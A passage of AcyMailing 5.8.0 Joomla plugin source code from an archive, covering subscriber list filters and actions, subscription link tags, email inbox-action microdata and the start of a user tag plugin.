			$listsdrop[] = acymailing_selectOption('<OPTGROUP>', acymailing_translation('ACY_CAMPAIGNS'));
			foreach($campaigns as $campaign){
				$listsdrop[] = acymailing_selectOption($campaign->listid, $campaign->name);
			}
			$listsdrop[] = acymailing_selectOption('</OPTGROUP>');
		}

		$dates = array();
		$dates[] = acymailing_selectOption(0, acymailing_translation('SUBSCRIPTION_DATE'));
		$dates[] = acymailing_selectOption(1, acymailing_translation('UNSUBSCRIPTION_DATE'));

		$filter = '<div id="filter__num__list">'.$status->display("filter[__num__][list][status]", 1, false).' '.acymailing_select($listsdrop, "filter[__num__][list][selectedlist]", 'class="inputbox" style="max-width:200px" size="1" onchange="countresults(__num__)"', 'value', 'text');
		$filter .= '<br /><input type="text" name="filter[__num__][list][subdateinf]" onclick="displayDatePicker(this,event)" onchange="countresults(__num__)" style="width:60px;" /> < '.acymailing_select($dates, "filter[__num__][list][dates]", 'class="inputbox" style="max-width:200px" size="1" onchange="countresults(__num__)"', 'value', 'text').' < <input type="text" name="filter[__num__][list][subdatesup]" onclick="displayDatePicker(this,event)" onchange="countresults(__num__)" style="width:60px;" /></div>';
		return $filter;
	}

	function onAcyProcessFilter_list(&$query, $filter, $num){
		$otherconditions = '';
		$field = empty($filter['dates']) ? 'subdate' : 'unsubdate';
		if(!empty($filter['subdateinf'])){
			$filter['subdateinf'] = acymailing_replaceDate($filter['subdateinf']);
			if(!is_numeric($filter['subdateinf'])) $filter['subdateinf'] = strtotime($filter['subdateinf']);
			if(!empty($filter['subdateinf'])) $otherconditions .= ' AND list'.$num.'.'.$field.' > '.$filter['subdateinf'];
		}

		if(!empty($filter['subdatesup'])){
			$filter['subdatesup'] = acymailing_replaceDate($filter['subdatesup']);
			if(!is_numeric($filter['subdatesup'])) $filter['subdatesup'] = strtotime($filter['subdatesup']);
			if(!empty($filter['subdatesup'])) $otherconditions .= ' AND list'.$num.'.'.$field.' < '.$filter['subdatesup'];
		}

		$query->leftjoin['list'.$num] = '#__acymailing_listsub AS list'.$num.' ON sub.subid = list'.$num.'.subid AND list'.$num.'.listid = '.intval($filter['selectedlist']).$otherconditions;
		if($filter['status'] == -2){
			$query->where[] = 'list'.$num.'.listid IS NULL';
		}else{
			$query->where[] = 'list'.$num.'.status = '.intval($filter['status']);
		}
	}

	function onAcyProcessFilterCount_list(&$query, $filter, $num){
		$this->onAcyProcessFilter_list($query, $filter, $num);
		return acymailing_translation_sprintf('SELECTED_USERS', $query->count());
	}

	function onAcyProcessAction_list($cquery, $action, $num){
		$listid = intval($action['selectedlist']);
		$listClass = acymailing_get('class.list');
		if(is_numeric($action['selectedlist'])){
			$myList = $listClass->get($listid);
			if(empty($myList->listid)){
				return 'ERROR : List '.$listid.' not found';
			}

			if(empty($action['status'])){
				$query = 'DELETE listremove.* FROM '.acymailing_table('listsub').' AS listremove ';
				$query .= 'JOIN #__acymailing_subscriber AS sub ON listremove.subid = sub.subid ';
				if(!empty($cquery->join)) $query .= ' JOIN '.implode(' JOIN ', $cquery->join);
				if(!empty($cquery->leftjoin)) $query .= ' LEFT JOIN '.implode(' LEFT JOIN ', $cquery->leftjoin);
				$query .= ' WHERE listremove.listid = '.$listid;
				if(!empty($cquery->where)) $query .= ' AND ('.implode(') AND (', $cquery->where).')';
			}elseif($action['status'] == -1){
				$query = 'UPDATE '.acymailing_table('listsub').' AS listsub'.$num.' JOIN '.acymailing_table('subscriber').' AS sub ON listsub'.$num.'.subid = sub.subid ';
				if(!empty($cquery->join)) $query .= ' JOIN '.implode(' JOIN ', $cquery->join);
				if(!empty($cquery->leftjoin)) $query .= ' LEFT JOIN '.implode(' LEFT JOIN ', $cquery->leftjoin);
				$query .= ' SET listsub'.$num.'.status = -1, listsub'.$num.'.unsubdate = '.time().' WHERE listsub'.$num.'.listid = '.$listid;
				if(!empty($cquery->where)) $query .= ' AND ('.implode(') AND (', $cquery->where).')';
			}else{
				$query = 'INSERT IGNORE INTO '.acymailing_table('listsub').' (listid,subid,subdate,status) ';
				$query .= $cquery->getQuery(array($listid, 'sub.subid', time(), 1));
			}
			$cquery->db->setQuery($query);
			$cquery->db->query();
			$nbsubscribed = $cquery->db->getAffectedRows();

			if(empty($action['status'])){
				return acymailing_translation_sprintf('IMPORT_REMOVE', $nbsubscribed, '<b><i>'.$myList->name.'</i></b>');
			}elseif($action['status'] == -1){
				return acymailing_translation_sprintf('NB_UNSUB_USERS', $nbsubscribed);
			}else{
				return acymailing_translation_sprintf('IMPORT_SUBSCRIBE_CONFIRMATION', $nbsubscribed, '<b><i>'.$myList->name.'</i></b>');
			}
		}

		$myList = $listClass->get($listid);
		if(empty($myList->listid)){
			return 'ERROR : List '.$listid.' not found';
		}
		if(empty($action['status'])){
			$query = 'SELECT listremove.`subid` FROM #__acymailing_listsub as listremove';
			$query .= ' JOIN #__acymailing_subscriber as sub ON listremove.subid = sub.subid ';
			$condition = ' WHERE listremove.listid = '.$listid;
		}elseif($action['status'] == -1){
			$query = 'SELECT listunsub.`subid` FROM #__acymailing_listsub as listunsub JOIN #__acymailing_subscriber as sub ON listunsub.subid = sub.subid ';
			$condition = ' WHERE listunsub.listid = '.$listid.' AND listunsub.status != -1';
		}else{
			$query = 'SELECT sub.`subid` FROM #__acymailing_subscriber as sub';
			$query .= ' LEFT JOIN #__acymailing_listsub as listsubscribe ON listsubscribe.subid = sub.subid AND listsubscribe.listid = '.$listid;
			$condition = ' WHERE listsubscribe.subid IS NULL';
		}
		if(!empty($cquery->join)) $query .= ' JOIN '.implode(' JOIN ', $cquery->join);
		if(!empty($cquery->leftjoin)) $query .= ' LEFT JOIN '.implode(' LEFT JOIN ', $cquery->leftjoin);
		$query .= $condition;
		if(!empty($cquery->where)) $query .= ' AND ('.implode(') AND (', $cquery->where).')';
		if(!empty($cquery->orderBy)) $query .= ' ORDER BY '.$cquery->orderBy;
		if(!empty($cquery->limit)) $query .= ' LIMIT '.intval($cquery->limit);
		$cquery->db->setQuery($query);
		$subids = acymailing_loadResultArray($cquery->db);

		if(!empty($subids)){
			$listsubClass = acymailing_get('class.listsub');
			$time = time();
			$timeFunction = 'acymailing_getTime';
			if(!isset($action['sendhours']) || strlen($action['sendhours']) < 1){
				$action['sendhours'] = '%H';
				$timeFunction = 'strftime';
			}
			if(!isset($action['sendminutes']) || strlen($action['sendminutes']) < 1) $action['sendminutes'] = '%M';
			$format = '%Y-%m-%d '.$action['sendhours'].':'.$action['sendminutes'].':00';
			if($action['status'] == 1 && !empty($action['delaynum'])){
				$listsubClass->campaigndelay = $timeFunction(strftime($format, strtotime('+'.intval($action['delaynum']).' '.$action['delaytype'])));
			}else{
				$listsubClass->campaigndelay = $timeFunction(strftime($format, $time));
			}
			if($listsubClass->campaigndelay < $time){
				$listsubClass->campaigndelay = 0;
			}else $listsubClass->campaigndelay -= $time;

			if(!empty($action['skipedfollowups'])){
				$action['skipedfollowups'] = intval($action['skipedfollowups']);
				if(!empty($action['skipedfollowups'])) $listsubClass->skipedfollowups = $action['skipedfollowups'];
			}
			$listsubClass->checkAccess = false;
			$listsubClass->sendNotif = false;
			$listsubClass->sendConf = false;
			foreach($subids as $subid){
				if(empty($action['status'])){
					$listsubClass->removeSubscription($subid, array($listid));
				}elseif($action['status'] == -1) $listsubClass->updateSubscription($subid, array('-1' => array($listid)));
				else $listsubClass->addSubscription($subid, array('1' => array($listid)));
			}
		}

		$nbsubscribed = count($subids);
		if(empty($action['status'])){
			return acymailing_translation_sprintf('IMPORT_REMOVE', $nbsubscribed, '<b><i>'.$myList->name.'</i></b>');
		}elseif($action['status'] == -1){
			return acymailing_translation_sprintf('NB_UNSUB_USERS', $nbsubscribed);
		}else{
			return acymailing_translation_sprintf('IMPORT_SUBSCRIBE_CONFIRMATION', $nbsubscribed, '<b><i>'.$myList->name.'</i></b>');
		}
	}

	function acymailing_replaceusertags(&$email, &$user, $send = true){
		$this->_replacelisttags($email, $user, $send);

		if(empty($user->key) && !empty($user->subid)){
			$user->key = acymailing_generateKey(14);
			$db = JFactory::getDBO();
			$db->setQuery('UPDATE '.acymailing_table('subscriber').' SET `key`= '.$db->Quote($user->key).' WHERE subid = '.(int)$user->subid.' LIMIT 1');
			$db->query();
		}

		if(!isset($user->key)) $user->key = '';

		if($this->unsubscribeLink && !$this->listunsubscribe && $this->params->get('listunsubscribe', 0) && method_exists($email, 'addCustomHeader')){
			$lang = empty($email->language) ? '' : '&lang='.$email->language;
			$myLink = 'index.php?subid='.intval($user->subid).'&option=com_acymailing&ctrl=user&task=out&mailid='.$email->mailid.'&key='.urlencode($user->key).$this->unsubscribeItem.$lang;

			static $mainurl = '';
			static $otherarguments = false;
			if(empty($mainurl)){
				$urls = parse_url(ACYMAILING_LIVE);
				if(isset($urls['path']) AND strlen($urls['path']) > 0){
					$mainurl = substr(ACYMAILING_LIVE, 0, strrpos(ACYMAILING_LIVE, $urls['path'])).'/';
					$otherarguments = trim(str_replace($mainurl, '', ACYMAILING_LIVE), '/');
					if(strlen($otherarguments) > 0) $otherarguments .= '/';
				}else{
					$mainurl = ACYMAILING_LIVE;
				}
			}

			if($otherarguments && strpos($myLink, $otherarguments) === false) $myLink = $otherarguments.$myLink;

			$myLink = $mainurl.$myLink;
			if((bool)$this->params->get('unsubscribetemplate', false)) $myLink .= '&tmpl=component';

			$this->listunsubscribe = true;
			$mailto = $this->params->get('listunsubscribeemail');
			if(empty($mailto)) $mailto = @$email->replyemail;
			if(empty($mailto)){
				$config = acymailing_config();
				$mailto = $config->get('reply_email');
			}
			$email->addCustomHeader('List-Unsubscribe: <'.$myLink.'>, <mailto:'.$mailto.'?subject=unsubscribe_user_'.$user->subid.'&body=Please%20unsubscribe%20user%20ID%20'.$user->subid.'>');
		}
	}

	function acymailing_replacetags(&$email, $send = true){
		$this->_replacesubscriptiontags($email);
		$this->_replacemailtags($email);
	}

	private function _replacemailtags(&$email){
		$variables = array('subject', 'body', 'altbody');
		$acypluginsHelper = acymailing_get('helper.acyplugins');
		$result = $acypluginsHelper->extractTags($email, 'mail');
		$tags = array();

		foreach($result as $key => $oneTag){
			$field = $oneTag->id;
			if(!empty($email) && !empty($email->$field)){
				$text = $email->$field;
				$acypluginsHelper->formatString($text, $oneTag);
				$tags[$key] = $text;
			}else{
				$tags[$key] = $oneTag->default;
			}
		}

		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$email->$var = str_replace(array_keys($tags), $tags, $email->$var);
		}
	}

	private function _replacelisttags(&$email, &$user, $send){
		if(!empty($email->ReplyTo)){
			$toDelete = 0;
			foreach($email->ReplyTo as $i => $replyto){
				if(trim($i) != '{list:members}') continue;
				$toDelete = $i;
				break;
			}
			if(!empty($toDelete)){
				unset($email->ReplyTo[$toDelete]);
				$acyConfig = acymailing_config();
				$listMembers = $this->loadlistmembers($email, $user);
				foreach($listMembers as $member){
					if($acyConfig->get('add_names', true) && !empty($member->name)){
						$replyToName = $email->cleanText(trim($member->name));
					}else{
						$replyToName = '';
					}
					$email->AddReplyTo($email->cleanText($member->email), $replyToName);
				}
			}
		}

		$this->acypluginsHelper = acymailing_get('helper.acyplugins');
		$tags = $this->acypluginsHelper->extractTags($email, 'list');
		if(empty($tags)) return;

		$replaceTags = array();
		foreach($tags as $oneTag => $parameter){
			$method = '_list'.trim(strtolower($parameter->id));

			if(method_exists($this, $method)){
				$replaceTags[$oneTag] = $this->$method($email, $user, $parameter);
			}else{
				$replaceTags[$oneTag] = 'Method not found : '.$method;
			}
		}

		$this->acypluginsHelper->replaceTags($email, $replaceTags, true);
	}

	private function _getattachedlistid($email, $subid){

		$mailid = $email->mailid;
		$type = strtolower($email->type);

		if(isset($this->lists[$mailid][$subid])) return $this->lists[$mailid][$subid];


		$db = JFactory::getDBO();

		if($type == 'followup'){
			$db->setQuery('SELECT a.listid
							FROM #__acymailing_listsub AS a
							JOIN #__acymailing_listcampaign AS b
								ON a.listid = b.listid
							JOIN #__acymailing_listmail AS c
								ON b.campaignid = c.listid
							WHERE a.subid = '.intval($subid).'
								AND c.mailid = '.intval($mailid).'
							ORDER BY a.status DESC LIMIT 1');
			$listid = $db->loadResult();
			if(!empty($listid)){
				$this->lists[$mailid][$subid] = $listid;
				return $listid;
			}
		}

		if(in_array($type, array('news', 'autonews'))){
			if(!empty($subid)){
				$db->setQuery('SELECT a.listid FROM #__acymailing_listsub as a JOIN #__acymailing_listmail as b ON a.listid = b.listid WHERE a.subid = '.intval($subid).' AND b.mailid = '.intval($mailid).' ORDER BY a.status DESC LIMIT 1');
				$listid = $db->loadResult();
				if(!empty($listid)){
					$this->lists[$mailid][$subid] = $listid;
					return $listid;
				}
			}

			$db->setQuery('SELECT a.listid FROM #__acymailing_listmail as a JOIN #__acymailing_list as b ON a.listid = b.listid WHERE a.mailid = '.intval($mailid).' ORDER BY b.published DESC , b.visible DESC LIMIT 1');
			$listid = $db->loadResult();
			if(!empty($listid)){
				$this->lists[$mailid][$subid] = $listid;
				return $listid;
			}
		}

		if($type == 'welcome' && !empty($subid)){
			$db->setQuery('SELECT a.listid FROM #__acymailing_list as a JOIN #__acymailing_listsub as b ON a.listid = b.listid WHERE a.welmailid = '.intval($mailid).' AND b.subid = '.intval($subid).' ORDER BY b.subdate DESC LIMIT 1');
			$listid = $db->loadResult();
			if(!empty($listid)){
				$this->lists[$mailid][$subid] = $listid;
				return $listid;
			}
		}

		if($type == 'unsub' && !empty($subid)){
			$db->setQuery('SELECT a.listid FROM #__acymailing_list as a JOIN #__acymailing_listsub as b ON a.listid = b.listid WHERE a.unsubmailid = '.intval($mailid).' AND b.subid = '.intval($subid).' ORDER BY b.unsubdate DESC LIMIT 1');
			$listid = $db->loadResult();
			if(!empty($listid)){
				$this->lists[$mailid][$subid] = $listid;
				return $listid;
			}
		}

		$allLists = array_merge(acymailing_getVar('array', 'subscription', '', ''), explode(',', acymailing_getVar('string', 'hiddenlists', '', '')));
		$data = acymailing_getVar('array', 'data', '', '');
		if(!empty($data['listsub'])){
			$allLists = array_merge($allLists, array_keys($data['listsub']));
		}

		if(!empty($allLists) && in_array($type, array('unsub', 'welcome'))){
			acymailing_arrayToInteger($allLists);
			$db->setQuery('SELECT a.listid FROM #__acymailing_list as a WHERE (a.welmailid = '.intval($mailid).' OR unsubmailid = '.intval($mailid).') AND listid IN ('.implode(',', $allLists).') ORDER BY a.published DESC, a.visible DESC LIMIT 1');
			$listid = $db->loadResult();
			if(!empty($listid)){
				$this->lists[$mailid][$subid] = $listid;
				return $listid;
			}

			$db->setQuery('SELECT a.listid FROM #__acymailing_list as a WHERE (a.welmailid = '.intval($mailid).' OR unsubmailid = '.intval($mailid).') ORDER BY a.published DESC, a.visible DESC LIMIT 1');
			$listid = $db->loadResult();
			if(!empty($listid)){
				$this->lists[$mailid][$subid] = $listid;
				return $listid;
			}
		}

		if(!empty($allLists)){
			foreach($allLists as $listid){
				if(!empty($listid)){
					$this->lists[$mailid][$subid] = intval($listid);
					return intval($listid);
				}
			}
		}

		if(!empty($subid)){
			$db->setQuery('SELECT a.listid FROM #__acymailing_listsub as a JOIN #__acymailing_list as b ON a.listid = b.listid WHERE a.subid = '.intval($subid).' ORDER BY b.published DESC , b.visible DESC LIMIT 1');
			$listid = $db->loadResult();
			if(!empty($listid)){
				$this->lists[$mailid][$subid] = $listid;
				return $listid;
			}
		}
	}


	private function _listcount(&$email, &$user, &$parameter){
		if(!isset($parameter->listid)){
			$listid = $this->_getattachedlistid($email, $user->subid);
		}else{
			$listid = $parameter->listid;
		}

		$db = JFactory::getDBO();
		if(empty($listid)){
			$db->setQuery('SELECT COUNT(subid) FROM #__acymailing_subscriber');
		}else{
			$db->setQuery('SELECT COUNT(subid) FROM #__acymailing_listsub WHERE listid = '.intval($listid).' AND status = 1');
		}

		return $db->loadResult();
	}

	private function _listsubscription(&$email, &$user, &$parameter){
		if(empty($user->subid)) return "";
		$listSubClass = acymailing_get('class.listsub');
		return $listSubClass->getSubscriptionString($user->subid);
	}

	private function _listnames(&$email, &$user, &$parameter){
		if(empty($user->subid)) return "";
		$listSubClass = acymailing_get('class.listsub');
		$usersubscription = $listSubClass->getSubscription($user->subid);
		if(empty($usersubscription)){
			$subscribedLists = $this->_getFormListNames();
			if(empty($subscribedLists)) return '';
			return implode(isset($parameter->separator) ? $parameter->separator : ', ', $subscribedLists);
		}
		$lists = array();
		if(!empty($usersubscription)){
			foreach($usersubscription as $onesub){
				if($onesub->status < 1 || empty($onesub->published)) continue;
				$lists[] = $onesub->name;
			}
		}
		return implode(isset($parameter->separator) ? $parameter->separator : ', ', $lists);
	}


	private function _getFormListNames(){
		$allLists = array_merge(acymailing_getVar('array', 'subscription', '', ''), explode(',', acymailing_getVar('string', 'hiddenlists', '', '')));
		$data = acymailing_getVar('array', 'data', '', '');
		if(!empty($data['listsub'])){
			foreach($data['listsub'] as $i => $oneList){
				if($oneList['status'] != 1) unset($data['listsub'][$i]);
			}
			$allLists = array_merge($allLists, array_keys($data['listsub']));
		}
		if(empty($allLists)) return array();

		acymailing_arrayToInteger($allLists);
		foreach($allLists as $i => $oneList){
			if(empty($oneList)) unset($allLists[$i]);
		}
		if(empty($allLists)) return array();

		$db = JFactory::getDBO();
		$db->setQuery('SELECT name FROM #__acymailing_list WHERE listid IN ('.implode(',', $allLists).')');
		return acymailing_loadResultArray($db);
	}

	private function _listowner(&$email, &$user, &$parameter){
		if(empty($user->subid)) return '';
		$listid = $this->_getattachedlistid($email, $user->subid);
		if(empty($listid)) return "";

		if(!isset($this->listsowner[$listid])){
			$db = JFactory::getDBO();
			$db->setQuery('SELECT u.* FROM #__acymailing_list as list JOIN #__users as u ON u.id = list.userid WHERE list.listid = '.intval($listid));
			$this->listsowner[$listid] = $db->loadObject();
		}

		if(!in_array($parameter->field, array('username', 'name', 'email'))) return 'Field not found : '.$parameter->field;
		return @$this->listsowner[$listid]->{$parameter->field};
	}

	private function _loadlist($listid){
		if(isset($this->listsinfo[$listid])) return;

		$db = JFactory::getDBO();
		$db->setQuery('SELECT * FROM #__acymailing_list WHERE listid = '.intval($listid));
		$this->listsinfo[$listid] = $db->loadObject();
	}

	private function _listname(&$email, &$user, &$parameter){
		if(empty($user->subid)) return '';
		$listid = $this->_getattachedlistid($email, $user->subid);
		if(empty($listid)) return "No list => no name!";

		$this->_loadlist($listid);

		return @$this->listsinfo[$listid]->name;
	}

	private function _listdescription(&$email, &$user, &$parameter){
		if(empty($user->subid)) return '';
		$listid = $this->_getattachedlistid($email, $user->subid);
		if(empty($listid)) return "No list => no description!";

		$this->_loadlist($listid);

		return @$this->listsinfo[$listid]->description;
	}

	private function _listid(&$email, &$user, &$parameter){
		if(empty($user->subid)) return '';
		$listid = $this->_getattachedlistid($email, $user->subid);
		if(empty($listid)) return "No list => no ID!";

		return $listid;
	}

	private function loadlistmembers(&$email, &$user){
		if(empty($user->subid)) return '';
		$listid = $this->_getattachedlistid($email, $user->subid);
		if(empty($listid)) return array();

		$db = JFactory::getDBO();
		$db->setQuery('SELECT s.email, s.name FROM #__acymailing_listsub AS l JOIN #__acymailing_subscriber AS s ON s.subid=l.subid WHERE l.listid='.intval($listid).' AND l.status=1 AND s.enabled=1 AND s.accept=1');
		return $db->loadObjectList();
	}

	private function _replacesubscriptiontags(&$email){
		$match = '#(?:{|%7B)(modify[^}]*|confirm[^}]*|unsubscribe(?:\|[^}]*)?|subscribe[^}]*)(?:}|%7D)(.*)(?:{|%7B)/(modify|confirm|unsubscribe|subscribe)(?:}|%7D)#Uis';
		$variables = array('subject', 'body', 'altbody');
		$found = false;
		$results = array();
		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$found = preg_match_all($match, $email->$var, $results[$var]) || $found;
			if(empty($results[$var][0])) unset($results[$var]);
		}

		if(!$found) return;

		$tags = array();
		$this->listunsubscribe = false;
		foreach($results as $var => $allresults){
			foreach($allresults[0] as $i => $oneTag){
				if(isset($tags[$oneTag])) continue;
				$tags[$oneTag] = $this->replaceSubscriptionTag($allresults, $i, $email);
			}
		}

		foreach(array_keys($results) as $var){
			$email->$var = str_replace(array_keys($tags), $tags, $email->$var);
		}
	}

	function replaceSubscriptionTag(&$allresults, $i, &$email){
		$config = acymailing_config();
		$lang = empty($email->language) ? '' : '&lang='.$email->language;

		$parameters = $this->acypluginsHelper->extractTag($allresults[1][$i]);
		$itemId = $this->params->get(strtolower($parameters->id).'itemid', $config->get('itemid', 0));
		$itemId = empty($parameters->itemid) ? $itemId : intval($parameters->itemid);
		$item = empty($itemId) ? '' : '&Itemid='.$itemId;

		if($parameters->id == 'confirm'){ //confirm your subscription link
			$myLink = acymailing_frontendLink('index.php?subid={subtag:subid}&option=com_acymailing&ctrl=user&task=confirm&key={subtag:key|urlencode}'.$item.$lang, true, (bool)$this->params->get('confirmtemplate', false));
			if(empty($allresults[2][$i])) return $myLink;
			return '<a target="_blank" href="'.$myLink.'">'.$allresults[2][$i].'</a>';
		}elseif($parameters->id == 'modify'){ //modify your subscription link
			$myLink = acymailing_frontendLink('index.php?subid={subtag:subid}&option=com_acymailing&ctrl=user&task=modify&key={subtag:key|urlencode}'.$item.$lang, true, (bool)$this->params->get('modifytemplate', false));
			if(empty($allresults[2][$i])) return $myLink;
			return '<a style="text-decoration:none;" target="_blank" href="'.$myLink.'"><span class="acymailing_unsub">'.$allresults[2][$i].'</span></a>';
		}elseif($parameters->id == 'subscribe'){ //add a direct subscription link
			if(empty($parameters->lists)) return 'You must select at least one list';
			$lists = explode(',', $parameters->lists);
			acymailing_arrayToInteger($lists);
			$captchaKey = $config->get('captcha_enabled') ? '&seckey='.$config->get('security_key', '') : '';
			$myLink = acymailing_frontendLink('index.php?option=com_acymailing&ctrl=sub&task=optin&hiddenlists='.implode(',', $lists).'&user[email]={subtag:email|urlencode}'.$item.$lang.$captchaKey);
			if(empty($allresults[2][$i])) return $myLink;
			return '<a style="text-decoration:none;" target="_blank" href="'.$myLink.'"><span class="acymailing_unsub">'.$allresults[2][$i].'</span></a>';
		}//unsubscribe link
		$myLink = acymailing_frontendLink('index.php?subid={subtag:subid}&option=com_acymailing&ctrl=user&task=out&mailid='.$email->mailid.'&key={subtag:key|urlencode}'.$item.$lang, true, (bool)$this->params->get('unsubscribetemplate', false));

		$this->unsubscribeLink = true;
		$this->unsubscribeItem = $item;

		if(empty($allresults[2][$i])) return $myLink;
		return '<a style="text-decoration:none;" target="_blank" href="'.$myLink.'"><span class="acymailing_unsub">'.$allresults[2][$i].'</span></a>';
	}
}//endclass
                                                                                                                                      acymailing/plginboxactions/index.html                                                               0000705                 00000000054 15242051520 0014052 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/plginboxactions/plginboxactions.xml                                                      0000705                 00000001340 15242051520 0016001 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="acymailing">
	<name>AcyMailing : Inbox actions</name>
	<creationDate>juillet 2017</creationDate>
	<version>5.8.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2017 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugins is used to insert in the newsletters the microdatas needed to activate the inbox actions</description>
	<files>
		<filename plugin="plginboxactions">plginboxactions.php</filename>
	</files>
</extension>
                                                                                                                                                                                                                                                                                                acymailing/plginboxactions/plginboxactions.php                                                      0000705                 00000003701 15242051520 0015773 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingPlginboxactions extends JPlugin
{
	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'inboxactions');
			$this->params = new acyParameter($plugin->params);
		}
	}

	function acymailing_replacetags(&$email){
		if(empty($email->params) || empty($email->params['action']) || $email->params['action'] == 'none' || empty($email->params['actionbtntext']) || empty($email->params['actionurl'])) return;
		$actionbtntext = acymailing_translation($email->params['actionbtntext']);

		if(in_array($email->params['action'], array('confirm', 'save'))){
			$microdata = '
<span itemscope itemtype="http://schema.org/EmailMessage">
	<span itemprop="action" itemscope itemtype="http://schema.org/'.($email->params['action'] == 'confirm' ? 'ConfirmAction' : 'SaveAction').'">
		<meta itemprop="name" content="'.$actionbtntext.'"/>
		<span itemprop="handler" itemscope itemtype="http://schema.org/HttpActionHandler">
			<link itemprop="url" href="'.$email->params['actionurl'].'"/>
		</span>
	</span>
</span>';
		}elseif($email->params['action'] == 'goto'){
			$microdata = '
<span itemscope itemtype="http://schema.org/EmailMessage">
	<span itemprop="action" itemscope itemtype="http://schema.org/ViewAction">
		<meta itemprop="name" content="'.$actionbtntext.'"/>
		<link itemprop="url" href="'.$email->params['actionurl'].'"/>
	</span>
</span>';
		}
		if(empty($microdata)) return;

		if(strpos($email->body,'</body>')) $email->body = str_replace('</body>',$microdata.'</body>',$email->body);
		else $email->body .= $microdata;
	 }
}//endclass
                                                               acymailing/taguser/index.html                                                                       0000705                 00000000054 15242051520 0012321 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    acymailing/taguser/taguser.php                                                                      0000705                 00000034665 15242051520 0012526 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.8.0
 * @author	acyba.com
 * @copyright	(C) 2009-2017 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingTaguser extends JPlugin{

	var $sendervalues = array();

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'taguser');
			$this->params = new acyParameter($plugin->params);
		}
	}

	function acymailing_getPluginType(){
		if($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin()) return;
		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation('TAGUSER_TAGUSER');
		$onePlugin->function = 'acymailingtaguser_show';
		$onePlugin->help = 'plugin-taguser';

		return $onePlugin;
	}

	function acymailingtaguser_show(){
		?>

		<script language="javascript" type="text/javascript">
			function applyTag(tagname){
				var string = '{usertag:' + tagname;
				for(var i = 0; i < document.adminForm.typeinfo.length; i++){
					if(document.adminForm.typeinfo[i].checked){
						string += '|info:' + document.adminForm.typeinfo[i].value;
					}
				}
				string += '}';
				setTag(string);
				insertTag();
			}
		</script>
		<?php
		$typeinfo = array();
		$typeinfo[] = acymailing_selectOption("receiver", acymailing_translation('RECEIVER_INFORMATION'));
		$typeinfo[] = acymailing_selectOption("sender", acymailing_translation('SENDER_INFORMATIONS'));
		echo acymailing_radio($typeinfo, 'typeinfo', '', 'value', 'text', 'receiver');


		$notallowed = array('password', 'params', 'sendemail', 'gid', 'block', 'email', 'name', 'id');
		$text = '<div class="onelineblockoptions"><table class="acymailing_table" cellpadding="1">';
		$db = JFactory::getDBO();
		$fields = acymailing_getColumns('#__users');
		if(ACYMAILING_J30) $fields = array_merge($fields, array('usertype' => 'usertype'));

		$descriptions['username'] = acymailing_translation('TAGUSER_USERNAME');
		$descriptions['usertype'] = acymailing_translation('TAGUSER_GROUP');
		$descriptions['lastvisitdate'] = acymailing_translation('TAGUSER_LASTVISIT');
		$descriptions['registerdate'] = acymailing_translation('TAGUSER_REGISTRATION');

		$k = 0;
		foreach($fields as $fieldname => $oneField){
			if(in_array(strtolower($fieldname), $notallowed)) continue;
			$type = '';
			if(strpos(strtolower($oneField), 'date') !== false) $type = '|type:date';
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="applyTag(\''.$fieldname.$type.'\');" ><td class="acytdcheckbox"></td><td>'.$fieldname.'</td><td>'.@$descriptions[strtolower($fieldname)].'</td></tr>';
			$k = 1 - $k;
		}

		if(ACYMAILING_J16){
			$db->setQuery('SELECT DISTINCT `profile_key` FROM `#__user_profiles`');
			$extraFields = $db->loadObjectList();
			if(!empty($extraFields)){
				foreach($extraFields as $oneField){
					$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="applyTag(\''.$oneField->profile_key.'|type:extra\');" ><td class="acytdcheckbox"></td><td>'.$oneField->profile_key.'</td><td></td></tr>';
					$k = 1 - $k;
				}
			}
		}
		if(ACYMAILING_J30){
			$link = 'index.php/component/users/?task=registration.activate&token={usertag:activation|info:receiver}';
		}elseif(ACYMAILING_J16){
			$link = 'index.php?option=com_users&task=registration.activate&token={usertag:activation|info:receiver}';
		}else{
			$link = 'index.php?option=com_user&task=activate&activation={usertag:activation|info:receiver}';
		}
		$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="setTag(\''.htmlentities('<a target="_blank" href="'.$link.'">'.acymailing_translation('JOOMLA_CONFIRM_ACCOUNT').'</a>').'\'); insertTag();" ><td class="acytdcheckbox"></td><td>confirmJoomla</td><td>'.acymailing_translation('JOOMLA_CONFIRM_LINK').'</td></tr>';

		$text .= '</table></div>';

		echo $text;
	}

	function acymailing_replaceusertags(&$email, &$user, $send = true){
		$pluginsHelper = acymailing_get('helper.acyplugins');
